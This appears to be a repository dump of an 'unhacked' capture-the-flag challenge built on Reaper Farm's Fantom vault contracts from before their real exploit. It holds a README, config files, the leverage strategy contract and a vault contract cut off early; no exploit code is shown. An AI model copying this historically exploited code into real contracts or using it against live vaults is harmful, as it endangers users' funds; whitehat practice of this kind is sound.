├── .DS_Store ├── .env ├── .github └── workflows │ └── test.yml ├── .gitignore ├── .gitmodules ├── README.md ├── foundry.toml ├── remappings.txt ├── src ├── ReaperStrategyScreamLeverage.sol ├── ReaperVaultV2.sol ├── abstract │ └── ReaperBaseStrategyv4.sol ├── interfaces │ ├── CErc20I.sol │ ├── CTokenI.sol │ ├── IComptroller.sol │ ├── IERC4626.sol │ ├── IMasterChef.sol │ ├── IStrategy.sol │ ├── IUniswapV2Router01.sol │ ├── IUniswapV2Router02.sol │ ├── IVault.sol │ └── InterestRateModel.sol ├── library │ └── FixedPointMathLib.sol └── reference │ └── Treasury.sol └── test ├── ReaperHack.t.sol └── ReaperHackSolution.t.sol /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unhackedctf/reaper/612f7383df94fd0ae5e3230a1cedae30c5c178fb/.DS_Store -------------------------------------------------------------------------------- /.env: -------------------------------------------------------------------------------- 1 | FANTOM_RPC=https://rpc.ankr.com/fantom/ -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/* 8 | /broadcast/*/31337/ 9 | 10 | # Files that include solution 11 | js/ 12 | # test/ReaperHackSolution.t.sol -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/openzeppelin-contracts"] 5 | path = lib/openzeppelin-contracts 6 | url = https://github.com/openzeppelin/openzeppelin-contracts 7 | [submodule "lib/openzeppelin-contracts-upgradeable"] 8 | path = lib/openzeppelin-contracts-upgradeable 9 | url = https://github.com/openzeppelin/openzeppelin-contracts-upgradeable 10 | [submodule "lib/solenv"] 11 | path = lib/solenv 12 | url = https://github.com/memester-xyz/solenv 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## welcome to unhacked 2 | 3 | _unhacked_ is a weekly ctf, giving whitehats the chance to go back in time before real exploits and recover funds before the bad guys get them. 4 | 5 | _you are a whitehat, right anon?_ 6 | 7 | ## meet reaper 8 | 9 | [reaper farm](https://www.reaper.farm/) is a yield aggregator on fantom. their V2 vaults were hacked on 8/2. 10 | 11 | there were a number of implementations of the vaults with damages totalling $1.7mm, but the exploit was the same on all of them, so let's just focus on one — a DAI vault hacked for over $400k. 12 | 13 | - vault: [0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A](https://ftmscan.com/address/0x77dc33dc0278d21398cb9b16cbff99c1b712a87a) 14 | - fantom dai: [0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E](https://ftmscan.com/address/0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E) 15 | 16 | review the code in this repo, find the exploit, and recover > $400k. 17 | 18 | ## how to play 19 | 20 | 1. fork this repo and clone it locally. 21 | 22 | 2. update the .env file with an environment variable for FANTOM_RPC (already preset to the public RPC endpoint, which should work fine, in which case you can skip this). 23 | 24 | 3. review the code in the `src/` folder, which contains all the code at the time of the hack. you can explore the state of the contract before the hack using block 44000000. ex: `cast call --rpc-url ${FANTOM_RPC} --block 44000000 0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A "totalAssets()" | cast 2d` 25 | 26 | 4. when you find an exploit, code it up in `ReaperHack.t.sol`. the test will pass if you succeed. 27 | 28 | 5. post on twitter for bragging rights and tag [@unhackedctf](http://twitter.com/unhackedctf). no cheating. 29 | 30 | ## solution 31 | 32 | this contest is no longer live. [you can read a write up of the solution here](https://unhackedctf.substack.com/p/unhacked-week-2) or find the solution code in `test/ReaperHackSolution.t.sol`. 33 | 34 | ## subscribe 35 | 36 | for new weekly challenges and solutions, subscribe to the [unhacked newsletter](https://unhackedctf.substack.com/p/welcome). -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/forge-std/lib/ds-test/src/ 2 | forge-std/=lib/forge-std/src/ 3 | @openzeppelin/=lib/openzeppelin-contracts/ -------------------------------------------------------------------------------- /src/ReaperStrategyScreamLeverage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | import "./abstract/ReaperBaseStrategyv4.sol"; 4 | import "./interfaces/IUniswapV2Router02.sol"; 5 | import "./interfaces/CErc20I.sol"; 6 | import "./interfaces/IComptroller.sol"; 7 | import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; 8 | import "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol"; 9 | 10 | pragma solidity 0.8.11; 11 | 12 | /** 13 | * @dev This strategy will deposit and leverage a token on Scream to maximize yield by farming Scream tokens 14 | */ 15 | contract ReaperStrategyScreamLeverage is ReaperBaseStrategyv4 { 16 | using SafeERC20Upgradeable for IERC20Upgradeable; 17 | 18 | /** 19 | * @dev Tokens Used: 20 | * {WFTM} - Required for liquidity routing when doing swaps. Also used to charge fees on yield. 21 | * {SCREAM} - The reward token for farming 22 | * {DAI} - For charging fees 23 | * {cWant} - The Scream version of the want token 24 | */ 25 | address public constant WFTM = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83; 26 | address public constant SCREAM = 0xe0654C8e6fd4D733349ac7E09f6f23DA256bF475; 27 | address public constant DAI = 0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E; 28 | CErc20I public cWant; 29 | 30 | /** 31 | * @dev Third Party Contracts: 32 | * {UNI_ROUTER} - the UNI_ROUTER for target DEX 33 | * {comptroller} - Scream contract to enter market and to claim Scream tokens 34 | */ 35 | address public constant UNI_ROUTER = 0xF491e7B69E4244ad4002BC14e878a34207E38c29; 36 | IComptroller public comptroller; 37 | 38 | /** 39 | * @dev Routes we take to swap tokens 40 | * {screamToWftmRoute} - Route we take to get from {SCREAM} into {WFTM}. 41 | * {wftmToWantRoute} - Route we take to get from {WFTM} into {want}. 42 | * {wftmToDaiRoute} - Route we take to get from {WFTM} into {DAI}. 43 | */ 44 | address[] public screamToWftmRoute; 45 | address[] public wftmToWantRoute; 46 | address[] public wftmToDaiRoute; 47 | 48 | /** 49 | * @dev Scream variables 50 | * {markets} - Contains the Scream tokens to farm, used to enter markets and claim Scream 51 | * {MANTISSA} - The unit used by the Compound protocol 52 | * {LTV_SAFETY_ZONE} - We will only go up to 98% of max allowed LTV for {targetLTV} 53 | */ 54 | address[] public markets; 55 | uint256 public constant MANTISSA = 1e18; 56 | uint256 public constant LTV_SAFETY_ZONE = 0.98 ether; 57 | 58 | /** 59 | * @dev Strategy variables 60 | * {targetLTV} - The target loan to value for the strategy where 1 ether = 100% 61 | * {allowedLTVDrift} - How much the strategy can deviate from the target ltv where 0.01 ether = 1% 62 | * {balanceOfPool} - The total balance deposited into Scream (supplied - borrowed) 63 | * {borrowDepth} - The maximum amount of loops used to leverage and deleverage 64 | * {minWantToLeverage} - The minimum amount of want to leverage in a loop 65 | */ 66 | uint256 public targetLTV; 67 | uint256 public allowedLTVDrift; 68 | uint256 public balanceOfPool; 69 | uint256 public borrowDepth; 70 | uint256 public minWantToLeverage; 71 | uint256 public maxBorrowDepth; 72 | uint256 public minScreamToSell; 73 | 74 | /** 75 | * @dev Initializes the strategy. Sets parameters, saves routes, and gives allowances. 76 | * @notice see documentation for each variable above its respective declaration. 77 | */ 78 | function initialize( 79 | address _vault, 80 | address[] memory _feeRemitters, 81 | address[] memory _strategists, 82 | address[] memory _multisigRoles, 83 | address _scWant 84 | ) public initializer { 85 | cWant = CErc20I(_scWant); 86 | want = cWant.underlying(); 87 | __ReaperBaseStrategy_init(_vault, want, _feeRemitters, _strategists, _multisigRoles); 88 | 89 | markets = [_scWant]; 90 | comptroller = IComptroller(cWant.comptroller()); 91 | 92 | screamToWftmRoute = [SCREAM, WFTM]; 93 | wftmToWantRoute = [WFTM, want]; 94 | wftmToDaiRoute = [WFTM, DAI]; 95 | 96 | targetLTV = 0.47 ether; 97 | allowedLTVDrift = 0.01 ether; 98 | balanceOfPool = 0; 99 | borrowDepth = 12; 100 | minWantToLeverage = 1000; 101 | maxBorrowDepth = 15; 102 | minScreamToSell = 1000; 103 | 104 | comptroller.enterMarkets(markets); 105 | } 106 | 107 | function _adjustPosition(uint256 _debt) internal override { 108 | if (emergencyExit) { 109 | return; 110 | } 111 | 112 | uint256 wantBalance = balanceOfWant(); 113 | if (wantBalance > _debt) { 114 | uint256 toReinvest = wantBalance - _debt; 115 | _deposit(toReinvest); 116 | } 117 | } 118 | 119 | /** 120 | * @dev Function that puts the funds to work. 121 | * It supplies {want} to Scream to farm {SCREAM} tokens 122 | */ 123 | function _deposit(uint256 _amount) internal doUpdateBalance { 124 | IERC20Upgradeable(want).safeIncreaseAllowance( 125 | address(cWant), 126 | _amount 127 | ); 128 | CErc20I(cWant).mint(_amount); 129 | uint256 _ltv = _calculateLTV(); 130 | 131 | if (_shouldLeverage(_ltv)) { 132 | _leverMax(); 133 | } else if (_shouldDeleverage(_ltv)) { 134 | _deleverage(0); 135 | } 136 | } 137 | 138 | function _liquidatePosition(uint256 _amountNeeded) 139 | internal 140 | override 141 | returns (uint256 liquidatedAmount, uint256 loss) 142 | { 143 | uint256 wantBal = IERC20Upgradeable(want).balanceOf(address(this)); 144 | if (wantBal < _amountNeeded) { 145 | _withdraw(_amountNeeded - wantBal); 146 | liquidatedAmount = IERC20Upgradeable(want).balanceOf(address(this)); 147 | } else { 148 | liquidatedAmount = _amountNeeded; 149 | } 150 | loss = _amountNeeded - liquidatedAmount; 151 | } 152 | 153 | function _liquidateAllPositions() internal override returns (uint256 amountFreed) { 154 | _deleverage(type(uint256).max); 155 | _withdrawUnderlying(balanceOfPool); 156 | return balanceOfWant(); 157 | } 158 | 159 | /** 160 | * @dev Withdraws funds and sents them back to the vault. 161 | * It withdraws {want} from Scream 162 | * The available {want} minus fees is returned to the vault. 163 | */ 164 | function _withdraw(uint256 _withdrawAmount) internal doUpdateBalance { 165 | 166 | uint256 _ltv = _calculateLTVAfterWithdraw(_withdrawAmount); 167 | 168 | if (_shouldLeverage(_ltv)) { 169 | // Strategy is underleveraged so can withdraw underlying directly 170 | _withdrawUnderlying(_withdrawAmount); 171 | _leverMax(); 172 | } else if (_shouldDeleverage(_ltv)) { 173 | _deleverage(_withdrawAmount); 174 | 175 | // Strategy has deleveraged to the point where it can withdraw underlying 176 | _withdrawUnderlying(_withdrawAmount); 177 | } else { 178 | // LTV is in the acceptable range so the underlying can be withdrawn directly 179 | _withdrawUnderlying(_withdrawAmount); 180 | } 181 | } 182 | 183 | /** 184 | * @dev Calculates the LTV using existing exchange rate, 185 | * depends on the cWant being updated to be accurate. 186 | * Does not update in order provide a view function for LTV. 187 | */ 188 | function calculateLTV() external view returns (uint256 ltv) { 189 | (, uint256 cWantBalance, uint256 borrowed, uint256 exchangeRate) = cWant.getAccountSnapshot(address(this)); 190 | 191 | uint256 supplied = (cWantBalance * exchangeRate) / MANTISSA; 192 | 193 | if (supplied == 0 || borrowed == 0) { 194 | return 0; 195 | } 196 | 197 | ltv = (MANTISSA * borrowed) / supplied; 198 | } 199 | 200 | /** 201 | * @dev Emergency function to deleverage in case regular deleveraging breaks 202 | */ 203 | function manualDeleverage(uint256 amount) external doUpdateBalance { 204 | _atLeastRole(STRATEGIST); 205 | require(cWant.redeemUnderlying(amount) == 0); 206 | require(cWant.repayBorrow(amount) == 0); 207 | } 208 | 209 | /** 210 | * @dev Emergency function to deleverage in case regular deleveraging breaks 211 | */ 212 | function manualReleaseWant(uint256 amount) external doUpdateBalance { 213 | _atLeastRole(STRATEGIST); 214 | require(cWant.redeemUnderlying(amount) == 0); 215 | } 216 | 217 | /** 218 | * @dev Sets a new LTV for leveraging. 219 | * Should be in units of 1e18 220 | */ 221 | function setTargetLtv(uint256 _ltv) external { 222 | _atLeastRole(KEEPER); 223 | 224 | (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); 225 | require(collateralFactorMantissa > _ltv + allowedLTVDrift); 226 | require(_ltv <= collateralFactorMantissa * LTV_SAFETY_ZONE / MANTISSA); 227 | targetLTV = _ltv; 228 | } 229 | 230 | /** 231 | * @dev Sets a new allowed LTV drift 232 | * Should be in units of 1e18 233 | */ 234 | function setAllowedLtvDrift(uint256 _drift) external { 235 | _atLeastRole(STRATEGIST); 236 | (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); 237 | require(collateralFactorMantissa > targetLTV + _drift); 238 | allowedLTVDrift = _drift; 239 | } 240 | 241 | /** 242 | * @dev Sets a new borrow depth (how many loops for leveraging+deleveraging) 243 | */ 244 | function setBorrowDepth(uint8 _borrowDepth) external { 245 | _atLeastRole(STRATEGIST); 246 | require(_borrowDepth <= maxBorrowDepth); 247 | borrowDepth = _borrowDepth; 248 | } 249 | 250 | /** 251 | * @dev Sets the minimum reward the will be sold (too little causes revert from Uniswap) 252 | */ 253 | function setMinScreamToSell(uint256 _minScreamToSell) external { 254 | _atLeastRole(STRATEGIST); 255 | minScreamToSell = _minScreamToSell; 256 | } 257 | 258 | 259 | /** 260 | * @dev Sets the minimum want to leverage/deleverage (loop) for 261 | */ 262 | function setMinWantToLeverage(uint256 _minWantToLeverage) external { 263 | _atLeastRole(STRATEGIST); 264 | minWantToLeverage = _minWantToLeverage; 265 | } 266 | 267 | /** 268 | * @dev Sets the swap path to go from {WFTM} to {want}. 269 | */ 270 | function setWftmToWantRoute(address[] calldata _newWftmToWantRoute) external { 271 | _atLeastRole(STRATEGIST); 272 | require(_newWftmToWantRoute[0] == WFTM, "bad route"); 273 | require(_newWftmToWantRoute[_newWftmToWantRoute.length - 1] == want, "bad route"); 274 | delete wftmToWantRoute; 275 | wftmToWantRoute = _newWftmToWantRoute; 276 | } 277 | 278 | /** 279 | * @dev Calculates the total amount of {want} held by the strategy 280 | * which is the balance of want + the total amount supplied to Scream. 281 | */ 282 | function balanceOf() public view override returns (uint256) { 283 | return balanceOfWant() + balanceOfPool; 284 | } 285 | 286 | /** 287 | * @dev Calculates the balance of want held directly by the strategy 288 | */ 289 | function balanceOfWant() public view returns (uint256) { 290 | return IERC20Upgradeable(want).balanceOf(address(this)); 291 | } 292 | 293 | /** 294 | * @dev Returns the current position in Scream. Does not accrue interest 295 | * so might not be accurate, but the cWant is usually updated. 296 | */ 297 | function getCurrentPosition() public view returns (uint256 supplied, uint256 borrowed) { 298 | (, uint256 cWantBalance, uint256 borrowBalance, uint256 exchangeRate) = cWant.getAccountSnapshot(address(this)); 299 | borrowed = borrowBalance; 300 | 301 | supplied = (cWantBalance * exchangeRate) / MANTISSA; 302 | } 303 | 304 | /** 305 | * @dev Updates the balance. This is the state changing version so it sets 306 | * balanceOfPool to the latest value. 307 | */ 308 | function updateBalance() public { 309 | uint256 supplyBalance = CErc20I(cWant).balanceOfUnderlying(address(this)); 310 | uint256 borrowBalance = CErc20I(cWant).borrowBalanceCurrent(address(this)); 311 | balanceOfPool = supplyBalance - borrowBalance; 312 | } 313 | 314 | /** 315 | * @dev Levers the strategy up to the targetLTV 316 | */ 317 | function _leverMax() internal { 318 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 319 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 320 | 321 | uint256 realSupply = supplied - borrowed; 322 | uint256 newBorrow = _getMaxBorrowFromSupplied(realSupply, targetLTV); 323 | uint256 totalAmountToBorrow = newBorrow - borrowed; 324 | 325 | for (uint8 i = 0; i < borrowDepth && totalAmountToBorrow > minWantToLeverage; i++) { 326 | totalAmountToBorrow = totalAmountToBorrow - _leverUpStep(totalAmountToBorrow); 327 | } 328 | } 329 | 330 | /** 331 | * @dev Does one step of leveraging 332 | */ 333 | function _leverUpStep(uint256 _withdrawAmount) internal returns (uint256) { 334 | if (_withdrawAmount == 0) { 335 | return 0; 336 | } 337 | 338 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 339 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 340 | (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); 341 | uint256 canBorrow = (supplied * collateralFactorMantissa) / MANTISSA; 342 | 343 | canBorrow -= borrowed; 344 | 345 | if (canBorrow < _withdrawAmount) { 346 | _withdrawAmount = canBorrow; 347 | } 348 | 349 | if (_withdrawAmount > 10) { 350 | // borrow available amount 351 | CErc20I(cWant).borrow(_withdrawAmount); 352 | 353 | uint256 mintAmount = balanceOfWant(); 354 | IERC20Upgradeable(want).safeIncreaseAllowance( 355 | address(cWant), 356 | mintAmount 357 | ); 358 | // deposit available want as collateral 359 | CErc20I(cWant).mint(mintAmount); 360 | } 361 | 362 | return _withdrawAmount; 363 | } 364 | 365 | /** 366 | * @dev Gets the maximum amount allowed to be borrowed for a given collateral factor and amount supplied 367 | */ 368 | function _getMaxBorrowFromSupplied(uint256 wantSupplied, uint256 collateralFactor) internal pure returns (uint256) { 369 | return ((wantSupplied * collateralFactor) / (MANTISSA - collateralFactor)); 370 | } 371 | 372 | /** 373 | * @dev Returns if the strategy should leverage with the given ltv level 374 | */ 375 | function _shouldLeverage(uint256 _ltv) internal view returns (bool) { 376 | if (targetLTV >= allowedLTVDrift && _ltv < targetLTV - allowedLTVDrift) { 377 | return true; 378 | } 379 | return false; 380 | } 381 | 382 | /** 383 | * @dev Returns if the strategy should deleverage with the given ltv level 384 | */ 385 | function _shouldDeleverage(uint256 _ltv) internal view returns (bool) { 386 | if (_ltv > targetLTV + allowedLTVDrift) { 387 | return true; 388 | } 389 | return false; 390 | } 391 | 392 | /** 393 | * @dev This is the state changing calculation of LTV that is more accurate 394 | * to be used internally. 395 | */ 396 | function _calculateLTV() internal returns (uint256 ltv) { 397 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 398 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 399 | 400 | if (supplied == 0 || borrowed == 0) { 401 | return 0; 402 | } 403 | ltv = (MANTISSA * borrowed) / supplied; 404 | } 405 | 406 | /** 407 | * @dev Calculates what the LTV will be after withdrawing 408 | */ 409 | function _calculateLTVAfterWithdraw(uint256 _withdrawAmount) internal returns (uint256 ltv) { 410 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 411 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 412 | if (_withdrawAmount > supplied) { 413 | return 0; 414 | } 415 | supplied = supplied - _withdrawAmount; 416 | 417 | if (supplied == 0 || borrowed == 0) { 418 | return 0; 419 | } 420 | ltv = (uint256(1e18) * borrowed) / supplied; 421 | } 422 | 423 | /** 424 | * @dev Withdraws want to the strategy by redeeming the underlying 425 | */ 426 | function _withdrawUnderlying(uint256 _withdrawAmount) internal { 427 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 428 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 429 | uint256 realSupplied = supplied - borrowed; 430 | 431 | if (realSupplied == 0) { 432 | return; 433 | } 434 | 435 | if (_withdrawAmount > realSupplied) { 436 | _withdrawAmount = realSupplied; 437 | } 438 | 439 | uint256 tempColla = targetLTV + allowedLTVDrift; 440 | 441 | uint256 reservedAmount = 0; 442 | if (tempColla == 0) { 443 | tempColla = 1e15; // 0.001 * 1e18. lower we have issues 444 | } 445 | 446 | reservedAmount = (borrowed * MANTISSA) / tempColla; 447 | if (supplied >= reservedAmount) { 448 | uint256 redeemable = supplied - reservedAmount; 449 | uint256 balance = cWant.balanceOf(address(this)); 450 | if (balance > 1) { 451 | if (redeemable < _withdrawAmount) { 452 | _withdrawAmount = redeemable; 453 | } 454 | } 455 | } 456 | 457 | uint256 withdrawAmount = _withdrawAmount - 1; 458 | 459 | CErc20I(cWant).redeemUnderlying(withdrawAmount); 460 | } 461 | 462 | /** 463 | * @dev For a given withdraw amount, figures out the new borrow with the current supply 464 | * that will maintain the target LTV 465 | */ 466 | function _getDesiredBorrow(uint256 _withdrawAmount) internal returns (uint256 position) { 467 | //we want to use statechanging for safety 468 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 469 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 470 | 471 | //When we unwind we end up with the difference between borrow and supply 472 | uint256 unwoundSupplied = supplied - borrowed; 473 | 474 | //we want to see how close to collateral target we are. 475 | //So we take our unwound supplied and add or remove the _withdrawAmount we are are adding/removing. 476 | //This gives us our desired future undwoundDeposit (desired supply) 477 | 478 | uint256 desiredSupply = 0; 479 | if (_withdrawAmount > unwoundSupplied) { 480 | _withdrawAmount = unwoundSupplied; 481 | } 482 | desiredSupply = unwoundSupplied - _withdrawAmount; 483 | 484 | //(ds *c)/(1-c) 485 | uint256 num = desiredSupply * targetLTV; 486 | uint256 den = MANTISSA - targetLTV; 487 | 488 | uint256 desiredBorrow = num / den; 489 | if (desiredBorrow > 1e5) { 490 | //stop us going right up to the wire 491 | desiredBorrow = desiredBorrow - 1e5; 492 | } 493 | 494 | position = borrowed - desiredBorrow; 495 | } 496 | 497 | /** 498 | * @dev For a given withdraw amount, deleverages to a borrow level 499 | * that will maintain the target LTV 500 | */ 501 | function _deleverage(uint256 _withdrawAmount) internal { 502 | uint256 newBorrow = _getDesiredBorrow(_withdrawAmount); 503 | 504 | // //If there is no deficit we dont need to adjust position 505 | // //if the position change is tiny do nothing 506 | if (newBorrow > minWantToLeverage) { 507 | uint256 i = 0; 508 | while (newBorrow > minWantToLeverage + 100) { 509 | newBorrow = newBorrow - _leverDownStep(newBorrow); 510 | i++; 511 | //A limit set so we don't run out of gas 512 | if (i >= borrowDepth) { 513 | break; 514 | } 515 | } 516 | } 517 | } 518 | 519 | /** 520 | * @dev Deleverages one step 521 | */ 522 | function _leverDownStep(uint256 maxDeleverage) internal returns (uint256 deleveragedAmount) { 523 | uint256 minAllowedSupply = 0; 524 | uint256 supplied = cWant.balanceOfUnderlying(address(this)); 525 | uint256 borrowed = cWant.borrowBalanceStored(address(this)); 526 | (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); 527 | 528 | //collat ration should never be 0. if it is something is very wrong... but just incase 529 | if (collateralFactorMantissa != 0) { 530 | minAllowedSupply = (borrowed * MANTISSA) / collateralFactorMantissa; 531 | } 532 | uint256 maxAllowedDeleverageAmount = supplied - minAllowedSupply; 533 | 534 | deleveragedAmount = maxAllowedDeleverageAmount; 535 | 536 | if (deleveragedAmount >= borrowed) { 537 | deleveragedAmount = borrowed; 538 | } 539 | if (deleveragedAmount >= maxDeleverage) { 540 | deleveragedAmount = maxDeleverage; 541 | } 542 | 543 | uint256 exchangeRateStored = cWant.exchangeRateStored(); 544 | //redeemTokens = redeemAmountIn * 1e18 / exchangeRate. must be more than 0 545 | //a rounding error means we need another small addition 546 | if (deleveragedAmount * MANTISSA >= exchangeRateStored && deleveragedAmount > 10) { 547 | deleveragedAmount -= 10; // Amount can be slightly off for tokens with less decimals (USDC), so redeem a bit less 548 | cWant.redeemUnderlying(deleveragedAmount); 549 | IERC20Upgradeable(want).safeIncreaseAllowance( 550 | address(cWant), 551 | deleveragedAmount 552 | ); 553 | //our borrow has been increased by no more than maxDeleverage 554 | borrowed = cWant.borrowBalanceStored(address(this)); 555 | cWant.repayBorrow(deleveragedAmount); 556 | borrowed = cWant.borrowBalanceStored(address(this)); 557 | } 558 | } 559 | 560 | /** 561 | * @dev Core function of the strat, in charge of collecting and re-investing rewards. 562 | * @notice Assumes the deposit will take care of the TVL rebalancing. 563 | * 1. Claims {SCREAM} from the comptroller. 564 | * 2. Swaps {SCREAM} to {WFTM}. 565 | * 3. Claims fees for the harvest caller and treasury. 566 | * 4. Swaps the {WFTM} token for {want} 567 | * 5. Deposits. 568 | */ 569 | function _harvestCore(uint256 _debt) 570 | internal 571 | override 572 | returns ( 573 | uint256 callerFee, 574 | int256 roi, 575 | uint256 repayment 576 | ) 577 | { 578 | _claimRewards(); 579 | _swapRewardsToWftm(); 580 | callerFee = _chargeFees(); 581 | _swapToWant(); 582 | 583 | uint256 allocated = IVault(vault).strategies(address(this)).allocated; 584 | updateBalance(); 585 | uint256 totalAssets = balanceOf(); 586 | uint256 toFree = _debt; 587 | 588 | if (totalAssets > allocated) { 589 | uint256 profit = totalAssets - allocated; 590 | toFree += profit; 591 | roi = int256(profit); 592 | } else if (totalAssets < allocated) { 593 | roi = -int256(allocated - totalAssets); 594 | } 595 | 596 | (uint256 amountFreed, uint256 loss) = _liquidatePosition(toFree); 597 | repayment = MathUpgradeable.min(_debt, amountFreed); 598 | roi -= int256(loss); 599 | } 600 | 601 | /** 602 | * @dev Core harvest function. 603 | * Get rewards from markets entered 604 | */ 605 | function _claimRewards() internal { 606 | CTokenI[] memory tokens = new CTokenI[](1); 607 | tokens[0] = cWant; 608 | 609 | comptroller.claimComp(address(this), tokens); 610 | } 611 | 612 | /** 613 | * @dev Core harvest function. 614 | * Swaps {SCREAM} to {WFTM} 615 | */ 616 | function _swapRewardsToWftm() internal { 617 | uint256 screamBalance = IERC20Upgradeable(SCREAM).balanceOf(address(this)); 618 | if (screamBalance >= minScreamToSell) { 619 | _swap(screamBalance, screamToWftmRoute); 620 | } 621 | } 622 | 623 | /** 624 | * @dev Core harvest function. 625 | * Charges fees based on the amount of WFTM gained from reward 626 | */ 627 | function _chargeFees() internal returns (uint256 callerFee) { 628 | uint256 wftmFee = IERC20Upgradeable(WFTM).balanceOf(address(this)) * totalFee / PERCENT_DIVISOR; 629 | _swap(wftmFee, wftmToDaiRoute); 630 | 631 | IERC20Upgradeable dai = IERC20Upgradeable(DAI); 632 | uint256 daiFee = dai.balanceOf(address(this)); 633 | if (daiFee != 0) { 634 | callerFee = (daiFee * callFee) / PERCENT_DIVISOR; 635 | uint256 treasuryFeeToVault = (daiFee * treasuryFee) / PERCENT_DIVISOR; 636 | uint256 feeToStrategist = (treasuryFeeToVault * strategistFee) / PERCENT_DIVISOR; 637 | treasuryFeeToVault -= feeToStrategist; 638 | 639 | dai.safeTransfer(msg.sender, callerFee); 640 | dai.safeTransfer(treasury, treasuryFeeToVault); 641 | dai.safeTransfer(strategistRemitter, feeToStrategist); 642 | } 643 | } 644 | 645 | /** 646 | * @dev Core harvest function. 647 | * Swaps amount using path 648 | */ 649 | function _swap(uint256 amount, address[] storage path) internal { 650 | if (amount != 0) { 651 | IERC20Upgradeable(path[0]).safeIncreaseAllowance( 652 | UNI_ROUTER, 653 | amount 654 | ); 655 | IUniswapV2Router02(UNI_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens( 656 | amount, 657 | 0, 658 | path, 659 | address(this), 660 | block.timestamp + 600 661 | ); 662 | } 663 | } 664 | 665 | /** 666 | * @dev Core harvest function. 667 | * Swaps {WFTM} for {want} 668 | */ 669 | function _swapToWant() internal { 670 | if (want == WFTM) { 671 | return; 672 | } 673 | uint256 wftmBalance = IERC20Upgradeable(WFTM).balanceOf(address(this)); 674 | _swap(wftmBalance, wftmToWantRoute); 675 | } 676 | 677 | /** 678 | * @dev Helper modifier for functions that need to update the internal balance at the end of their execution. 679 | */ 680 | modifier doUpdateBalance { 681 | _; 682 | updateBalance(); 683 | } 684 | } -------------------------------------------------------------------------------- /src/ReaperVaultV2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | import "./interfaces/IStrategy.sol"; 6 | import "./interfaces/IERC4626.sol"; 7 | import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; 8 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 9 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 10 | import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; 11 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 12 | import "@openzeppelin/contracts/utils/math/Math.sol"; 13 | import {FixedPointMathLib} from "./library/FixedPointMathLib.sol"; 14 | 15 | /** 16 | * @notice Implementation of a vault to deposit funds for yield optimizing. 17 | * This is the contract that receives funds and that users interface with. 18 | * The yield optimizing strategy itself is implemented in a separate 'Strategy.sol' contract. 19 | */ 20 | contract ReaperVaultV2 is IERC4626, ERC20, ReentrancyGuard, AccessControlEnumerable { 21 | using SafeERC20 for IERC20Metadata; 22 | using FixedPointMathLib for uint256; 23 | 24 | struct StrategyParams { 25 | uint256 activation; // Activation block.timestamp 26 | uint256 allocBPS; // Allocation in BPS of vault's total assets 27 | uint256 allocated; // Amount of capital allocated to this strategy 28 | uint256 gains; // Total returns that Strategy has realized for Vault 29 | uint256 losses; // Total losses that Strategy has realized for Vault 30 | uint256 lastReport; // block.timestamp of the last time a report occured 31 | } 32 | 33 | mapping(address => StrategyParams) public strategies; // mapping strategies to their strategy parameters 34 | address[] public withdrawalQueue; // Ordering that `withdraw` uses to determine which strategies to pull funds from 35 | uint256 public constant 